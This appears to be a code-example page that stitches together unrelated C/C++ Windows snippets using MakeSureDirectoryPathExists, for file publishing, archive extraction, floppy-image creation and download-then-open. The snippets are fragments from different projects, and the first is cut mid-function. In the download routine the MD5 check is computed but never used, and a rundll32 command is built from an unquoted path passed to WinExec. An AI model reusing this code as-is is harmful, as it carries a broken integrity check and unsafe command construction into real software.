	//后续改为取当前节点是否可以保存
	if (!GetSubProcessStateCanSave())
	{
		return FALSE;
	}

	CString sSubProcessPath;
	sSubProcessPath.Format("%s\\publish\\%s\\%s.ws", m_sWorkPath, ZTools::GetCurrentTimeString16().c_str(), pNode->m_strOriName);
	MakeSureDirectoryPathExists(sSubProcessPath);

	//调用建模页面保存
	CWebMethodData wmd;
	CWebMethodParamData * pParam = NULL;
	wmd.m_sMethodName = "saveSubprocess";
	pParam = new CWebMethodParamData();
	pParam->m_sName = "filePath";
	pParam->m_sValue = sSubProcessPath;
	wmd.m_vParams.push_back(pParam);
	pSvg->InvokeJsMethod( &wmd );

	CString sResult = wmd.m_sResult;
	if (sResult.CompareNoCase("false") == 0)
	{
		ZTools::WriteZToolsFormatLog("发布子流程时保存子流程失败%s", sSubProcessPath);
		return FALSE;
	}

	if (!PathFileExists(sSubProcessPath))
	{
		ZTools::WriteZToolsFormatLog("发布子流程时保存子流程失败%s", sSubProcessPath);
		return FALSE;
	}

	//各属性信息从结构树上取
	PublishInfo pi;
	pi.sAuthor = (char *)(LPCTSTR)pNode->m_strAuthor;
	pi.sDesc = (char *)(LPCTSTR)pNode->m_strDescription;
	pi.sFilePath = (char *)(LPCTSTR)sSubProcessPath;
	pi.sName = (char *)(LPCTSTR)pNode->m_strOriName;
	pi.sTime = (char *)(LPCTSTR)pNode->m_strCreated;
	pi.sVersion = (char *)(LPCTSTR)pNode->m_strVersion;

	theApp.m_pDlgResLibTree->m_tree.SendProcessTreeDB(pi);

	return TRUE;
}
BOOL CProcessMgr::Open(CString sProcessFilePath)
{
	ZTools::WriteZToolsFormatLog("开始打开设计过程");
/*
建目录
解压
存工作路径变量
打开建模页面
*/
	if (sProcessFilePath.IsEmpty())
	{
		return FALSE;
	}

	//创建临时目录
	CString sWorkPath = GetExecDir() + "\\Data\\" + ReslibMgr::GuidToString(ReslibMgr::CreateGuid()).c_str();

	if (!MakeSureDirectoryPathExists(sWorkPath + "\\"))
	{
		ZTools::WriteZToolsFormatLog("创建工作目录失败:%s", sWorkPath);
		return FALSE;
	}

	//解压
	if (!ZipTool::Unzip((LPCTSTR)sProcessFilePath, (LPCTSTR)sWorkPath))
	{
		ZTools::WriteZToolsFormatLog("unzip file failed: %s", sProcessFilePath);
		return FALSE;
	}

	//打开建模页面
	CMainFrame * pMainFrame = reinterpret_cast< CMainFrame * > ( theApp.m_pMainWnd );
	if (!pMainFrame)
	{
		return FALSE;
	}
	pMainFrame->OnMenuModuleOpenjianmo();

	CDlgSvg * pSvg = GetSvgDilogPtr();
	if ( pSvg == NULL ) return FALSE;

	//设置当前设计过程的变量
	Clear();
	m_sProcessFilePath = sProcessFilePath;
	m_sWorkPath = sWorkPath;
	
	{//打开时同样添加历史记录
		CString strHistoryPath = m_sWorkPath + "\\main.xpdl";
		if ( !IsAccessibleFile( strHistoryPath ) )
		{
			return FALSE;
		}

		TiXmlBase::SetCondenseWhiteSpace(false);
		TiXmlDocument doc;
		doc.LoadFile(strHistoryPath, TIXML_ENCODING_UTF8);
		if (doc.Error())
		{
			ZTools::WriteZToolsFormatLog("解析main.xpdl出错");
			return FALSE;
		}
		TiXmlElement* rootElement = doc.RootElement();//Package
		if (rootElement)
		{
			std::string strName;
			std::string strValue;
			//rootElement->QueryStringAttribute("name", &strName);
			TiXmlAttribute* pAb;
			pAb = rootElement->FirstAttribute();
			while (pAb)
			{
				strName = pAb->Name();
				strValue = pAb->Value();
				ZTools::UTF8ToMB(strName);
				ZTools::UTF8ToMB(strValue);
				if(strName == "Name")
				{
					AddToHistory(strValue.c_str(), m_sProcessFilePath);//添加到历史
					theApp.GetMainWnd()->SetTimer( TIMER_MAINFRAME_RECENTLYMENU, TIMER_MAINFRAME_RECENTLYMENU_TIMEOUT, 0);
					break;
				}
				pAb = pAb->Next();
			}			
		}
	}

	ZTools::WriteZToolsFormatLog("工作路径准备完成,开始加载静态页面");
	pSvg->Navigate( theGlobalConfig.m_strSvgUrl );
	return TRUE;
}
int _tmain(int argc, _TCHAR* argv[])
{
  char *path = NULL, *pathDir = NULL;
  FILE *fpMview = NULL;
  FILE *fpDst = NULL;

  DWORD flag, sizeData, sizeDataDecompressed;

  if(argc<2)goto err;
  fpMview = _wfopen(argv[1], L"rb");
  if(fpMview==NULL)goto err;

  path = (char *)malloc(4096);
  if(path==NULL)goto err;
  pathDir = (char *)malloc(4096);
  if(pathDir==NULL)goto err;

  buf = (BYTE *)malloc(bufSize);
  if(buf==NULL)goto err;

  while(1)
  {
    flag=0;
    sizeData=0;
    sizeDataDecompressed=0;

    int numPath = freadNullStr(fpMview, path, 4096);
    if(numPath==0)goto err;

    SanitizePath(path);

    freadNullStr(fpMview, NULL, 0);
    if(fread(&flag, 1, 4, fpMview)!=4)goto err;
    if(fread(&sizeData, 1, 4, fpMview)!=4)goto err;
    if(fread(&sizeDataDecompressed, 1, 4, fpMview)!=4)goto err;
    
    if(flag & 0x1)printf("\"%s\"  flag=%u (compressed!), size=%u, decompressedSize=%u\n", path, flag, sizeData, sizeDataDecompressed);
    else          printf("\"%s\"  flag=%u, size=%u\n", path, flag, sizeData);

    if(PathCombineA(path, "out\\", path)==NULL)goto err;
    strcpy_s(pathDir, 4096, path);

    PathRemoveFileSpecA(pathDir);
    PathAddBackslashA(pathDir);
    BOOL bRet = MakeSureDirectoryPathExists(pathDir);

    fpDst = fopen(path, "wb");
    if(fpDst==NULL)goto err;

    if(!FILEtoFILE(fpDst, fpMview, sizeData))goto err;

    fclose(fpDst);
  }
  
  if(buf)free(buf);
  if(path)free(path);
  if(pathDir)free(pathDir);
  if(fpMview)fclose(fpMview);
  if(fpDst)fclose(fpDst);
	return 0;

err:
  if(buf)free(buf);
  if(path)free(path);
  if(pathDir)free(pathDir);
  if(fpMview)fclose(fpMview);
  if(fpDst)fclose(fpDst);
  return 0;
}
Exemple #29
0
void NewCreateFile(void *lpVoid)
{
	struct Device	*dev;
	int iType;
	char			tempStr[31];
	HWND			dlg = (HWND)lpVoid;
	int				type = 0;
	char strNewFileName[MAX_PATH * 2];
	struct Volume	*vol;
	HXCFLOPPYEMULATOR* hxcfe;
	FLOPPY * fp;
	int loaderId;

	Percent = 0;

	iType = SendMessage(GetDlgItem(dlg, IDC_NEWHFE), BM_GETCHECK, 0, 0l);
	if(iType == BST_CHECKED)
	{
		strcpy(strNewFileName, dirTemp);
		MakeSureDirectoryPathExists(dirTemp);				// Create temp dir.
		strcat(strNewFileName,"newfile.adf");
	}
	else
	{
		strcpy(strNewFileName,gstrFileName);
	}

	if (Size == 1760) /* 880KB Floppy */
		dev = adfCreateDumpDevice(strNewFileName, 80, 2, 11);
	else
		if (Size == (1760 * 2)) /* HD Floppy */
			dev = adfCreateDumpDevice(strNewFileName, 80, 2, 22);
		else /* hardfile */
			dev = adfCreateDumpDevice(strNewFileName, Size, 1, 1);

	GetDlgItemText(dlg, IDC_NEWLABEL, tempStr, sizeof(tempStr));

	if (SendMessage(GetDlgItem(dlg, IDC_NEWFFS), BM_GETCHECK, 0, 0l) == BST_CHECKED)
		type += FSMASK_FFS;
	if (SendMessage(GetDlgItem(dlg, IDC_NEWINTL), BM_GETCHECK, 0, 0l) == BST_CHECKED)
		type += FSMASK_INTL;
	if (SendMessage(GetDlgItem(dlg, IDC_NEWDIRC), BM_GETCHECK, 0, 0l) == BST_CHECKED)
		type += FSMASK_DIRCACHE;
	
	if ((Size == 1760) || (Size == 1760 * 2)){
		adfCreateFlop(dev, tempStr, type);
		// Install bootblock if "Bootable" selected.
		if(SendMessage(GetDlgItem(dlg, IDC_NEWBOOTABLE), BM_GETCHECK, 0, 0l) == BST_CHECKED){
			vol = adfMount(dev, 0, FALSE);
			InstallBootBlock(dlg, vol, TRUE);
		}
	}
	else
		adfCreateHdFile(dev, tempStr, type);

	adfUnMountDev(dev);

	if(iType == BST_CHECKED)
	{
		hxcfe=hxcfe_init();

		fp=0;
		// Load the image
		loaderId=hxcfe_autoSelectLoader(hxcfe,strNewFileName,0);
			// Load the image
		if(loaderId>=0)
			fp=hxcfe_floppyLoad(hxcfe,strNewFileName,loaderId,0);
		if(fp)
		{
			// Select the HFE loader/exporter.
			loaderId=hxcfe_getLoaderID(hxcfe,"HXC_HFE");
			// Save the file...
			hxcfe_floppyExport(hxcfe,fp,gstrFileName,loaderId);
			// Free the loaded image
			hxcfe_floppyUnload(hxcfe,fp);
		}
		hxcfe_deinit(hxcfe);

		// Delete intermediate adf.
		remove(strNewFileName);
	}

	Done = TRUE;
}
BOOL COpenFileTask::Run()
{
	if (m_strLocalFile.IsEmpty() && !m_FileInfo.m_strFileId.IsEmpty())
		m_strOpenType = "netdisk";
	else if (!m_strLocalFile.IsEmpty() && m_FileInfo.m_strFileId.IsEmpty())
		m_strOpenType = "local";

	else if (m_strLocalFile.IsEmpty() && m_FileInfo.m_strFileId.IsEmpty())
	{
		m_strErrMsg = "参数错误!";
		m_bFlag = FALSE;
		return FALSE;
	}

	SOCKET sockConn = GetConnect(theApp.m_strServerIp);
	if (sockConn==0)
	{
		m_strErrMsg = "连接服务器失败!";
		m_bFlag = FALSE;
		return FALSE;
	}

	CString strDestFile = m_strLocalFile;
	if (m_strOpenType == "netdisk")
	{
		strDestFile = theApp.m_strCacheDir + "\\" + theApp.m_strUsrId + m_FileInfo.m_strNetDiskPath;
		strDestFile.Replace("/","\\");
		BOOL bNeedDownload = TRUE;
		if (PathFileExists(strDestFile))
		{
			long long iLocalFileSize = FileSize(strDestFile);
			CString strLocalFileSize  = TransferFileSize(iLocalFileSize);
			if (strLocalFileSize.Compare(m_FileInfo.m_strFileSize)==0)
			{
				string strLocalMd5 = GetMD5(strDestFile);
				if (strLocalFileSize.CompareNoCase(m_FileInfo.m_strFileSize)==0)
					bNeedDownload = FALSE;
			}
			if (bNeedDownload)
				remove(strDestFile);
		}

		MakeSureDirectoryPathExists(strDestFile);
		if (bNeedDownload && !DownToClient(sockConn,m_FileInfo.m_strFileId,strDestFile))
			return FALSE;
	}

	SHELLEXECUTEINFO ShExecInfo = {0};
	ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
	ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS|SEE_MASK_FLAG_NO_UI;
	ShExecInfo.hwnd = NULL;
	ShExecInfo.lpVerb = "Open";
	ShExecInfo.lpFile = strDestFile;        
	ShExecInfo.lpParameters = NULL;  
	ShExecInfo.lpDirectory = NULL;
	ShExecInfo.nShow = SW_SHOW;
	ShExecInfo.hInstApp = NULL;	
	ShellExecuteEx(&ShExecInfo);

	static string strSysVer = "";
	if (strSysVer.empty())
	{
		OSVERSIONINFO   osversioninfo;
		osversioninfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
		GetVersionEx(&osversioninfo);
		if( (osversioninfo.dwMajorVersion == 5) && (osversioninfo.dwMinorVersion == 1)) 
			strSysVer = "xp";
		
		else if( (osversioninfo.dwMajorVersion == 6) && (osversioninfo.dwMinorVersion == 1))
			strSysVer =  "win7";

		else if( (osversioninfo.dwMajorVersion == 6) && (osversioninfo.dwMinorVersion == 2))
			strSysVer =  "win8";
		else
			strSysVer =  "other";

	}

	if ("xp" == strSysVer)
	{
		//解决xp机器上打开多个word、excel文件失败的问题
		CString strFile = strDestFile;
		strFile.MakeLower();
		if (  strFile.Right(4)==".doc" 
			|| strFile.Right(4)==".xls" 
			|| strFile.Right(4)==".ppt"
			|| strFile.Right(5)==".docx"
			|| strFile.Right(5)==".xlsx"
			|| strFile.Right(5)==".pptx")
		{
			Sleep(1000);
		}
	}
	int iCode = (int)ShExecInfo.hInstApp;
	if ((int)ShExecInfo.hInstApp > 32)
		return TRUE;
	else
	{
		DWORD dErrCode = GetLastError();
		if (dErrCode==1155)
		{
			ShExecInfo.lpVerb = "OpenAs";
			ShExecInfo.hInstApp = NULL;
			BOOL bOK = ShellExecuteEx(&ShExecInfo);
			LogMsg("Openfile 未找到关联程序,使用OpenAs模式由用户选择关联程序");
	
			if(!bOK)
			{
				CString strCmd;
				strCmd.Format("rundll32 shell32, OpenAs_RunDLL  %s", strDestFile);
				WinExec(strCmd, SW_SHOWNORMAL); //手动执行打开选择关联方式对话框
				return TRUE;
			}

			return TRUE; //返回真,外部可以根据hOut是否为NULL判断是否是OpenAs模式
		}
		return FALSE;
	}

	return TRUE;
}